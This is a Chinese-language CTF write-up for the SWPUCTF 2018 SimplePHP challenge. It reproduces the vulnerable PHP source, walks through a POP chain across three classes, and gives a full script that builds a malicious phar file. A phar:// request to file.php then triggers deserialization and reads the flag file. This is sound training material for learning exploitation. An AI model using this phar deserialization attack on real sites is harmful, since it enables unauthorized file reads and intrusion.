[SWPUCTF 2018]SimplePHP wp

4 篇文章 0 订阅
2 篇文章 0 订阅
浏览页面

先大致浏览一下有哪些页面

首页,index.php

在这里插入图片描述

查看文件页面,file.php

在这里插入图片描述

上传文件页面,upload_file.php

在这里插入图片描述

获取源码

那么既然有查看文件页面,我们就试试能不能在这里查看到源码。

在这里插入图片描述

看来可以,既如此,就把所有文件的源码都拿到,index.php,file.php,upload_file.php,

在其中又发现它们包含了 base.php,function.php,class.php,把源码一并拿过来。

index.php

<?php 

header("content-type:text/html;charset=utf-8");  

include 'base.php';

?> 

file.php

<?php 

header("content-type:text/html;charset=utf-8");  

include 'function.php'; 

include 'class.php'; 

ini_set('open_basedir','/var/www/html/'); 

$file = $_GET["file"] ? $_GET['file'] : ""; 

if(empty($file)) { 

  echo "<h2>There is no file to show!<h2/>"; 

} 

$show = new Show();

if(file_exists($file)) { 

  $show->source = $file; 

  $show->_show(); 

} else if (!empty($file)){ 

  die('file doesn\'t exists.'); 

} 

?> 

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    } 
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

?> 
信息整合

逐一查看源代码后整合一下我们知道的信息:

base.php 中得知:<!--flag is in f1ag.php-->

file.php 中得知当前网站的路径为 /var/www/html/ :

ini_set('open_basedir','/var/www/html/'); 

function.php 中得知我们上传的文件会存放在 upload/ 下,并且文件名会被更改:

    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    
    // 注:$_FILES["file"]["name"] 表示上传文件的文件名

class.php 中得到提示使用 phar 伪协议:
//$this->source = phar://phar.jpg

寻找注入点

我们提交文件的页面是 file.php,其中 file_exists() 函数可以利用 phar 伪协议。

于是,我们先上传一个文件,然后在查看文件页面利用 phar 伪协议读取文件。

class.php 文件中的类 Test 调用了 file_get_contents() 函数,我们可以利用这个函数来读取 f1ag.php 文件

于是在 class.php 文件中,我们可以构造一条 pop 链。

构造 pop 链

要想调用 Test 类的 file_get_contents 函数,就要先调用 file_get 函数;

要想调用 file_get 函数,就要先调用 get 函数;

要想调用 get 函数,就要先调用 __get 魔术方法;

而 __get 魔术方法是在访问这个类中不存在的属性时自动调用的,注意到 Show 类中有这样一条语句:$this->str['str']->source

这样一来,只要 str['str'] 是 Test 类的对象,那么 source 就是 Test 类中一个不存在的属性,在执行这条语句时就会触发 Test 类的 __get 魔术方法。

这里再说明一下:不存在的属性 source 就是 __get 魔术方法中传入的参数 k e y , key , keykey 又作为 get 函数的参数,

在 get 函数中,isset($this->params[$key]) 检查本类中 params 属性键值为 $key 的值是否存在,这就要求 params 属性是一个数组,且 params[‘source’] 要存在,此后,这个 params[‘source’] 又赋值给 $value ,而 $value 最终进入 file_get_contents 函数,所以,这里 params[‘source’] 我们就应该赋值成 flag 文件的路径;

那么要执行 $this->str['str']->source 这条语句的话,就要先调用 Show 类的 __toString 魔术方法;

__toString 魔术方法是在将对象当成字符串使用时自动调用的,注意到 C1e4r 类的 __destruct 魔术方法中有这样一条语句:

echo $this->test; ,那么只要这个 C1e4r 类的 test 属性是 Show 类的对象,echo 时将对象当成字符串了,就会自动调用

Show 类的 __toString 魔术方法。

至此,pop 链就构造完成了。代码如下:

<?php
    class C1e4r
    {
        public $test;
        public $str;
    	// 因为后面要用到构造方法,所以保留
        public function __construct($name)
        {
            $this->str = $name;
        }
    }

    class Show
    {
        public $source;
        public $str;
        
    }
    class Test
    {
        public $file;
        public $params;
    
    }

    $z = new Test();
    $z->params['source'] = "/var/www/html/f1ag.php";
	$y = new Show();
    $y->str['str'] = $z;
    $x = new C1e4r($y);


    // 生成一个名为 a.phar 的文件
    $phar = new Phar("a.phar");
    // 开始缓冲
    $phar->startBuffering();
    // 设置 stub ,必须以 __HALT_COMPILER(); 结尾
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    // 设置元数据
    $phar->setMetadata($x);
    // 向 a.phar 压缩包中添加一个名为 test1.txt 的文件,test1.txt 的内容是 test1。这里随意即可,但这条语句不能丢。
    $phar->addFromString("test1.txt", "test1");
    // 停止缓冲
    $phar->stopBuffering();

?> 
上传文件

在网站中访问这个文件,就会在本地同一路径下生成一个 a.phar 文件,改名为 a.jpg 再上传。

利用 phar 伪协议读取文件

upload/ 路径下查看我们上传的文件名,根据时间来判断(我们是东八区,所以网站显示的时间加上8小时就是我们上传的时间)

在这里插入图片描述

当然文件名也可以利用 MD5 自己算,反正源码的加密算法都有,在 function.php 中:

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

大致就是上传时的文件名跟客户端 IP 做个字符串连接,再用 MD5 加密,再添个后缀 .jpg 。

那么有了文件名之后,在查看文件页面输入:

file.php?file=phar://upload/55922cee26334ad4ad212d0e1aa20b5a.jpg

在这里插入图片描述

就可以拿到 base64 加密后的 f1ag.php 文件了。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值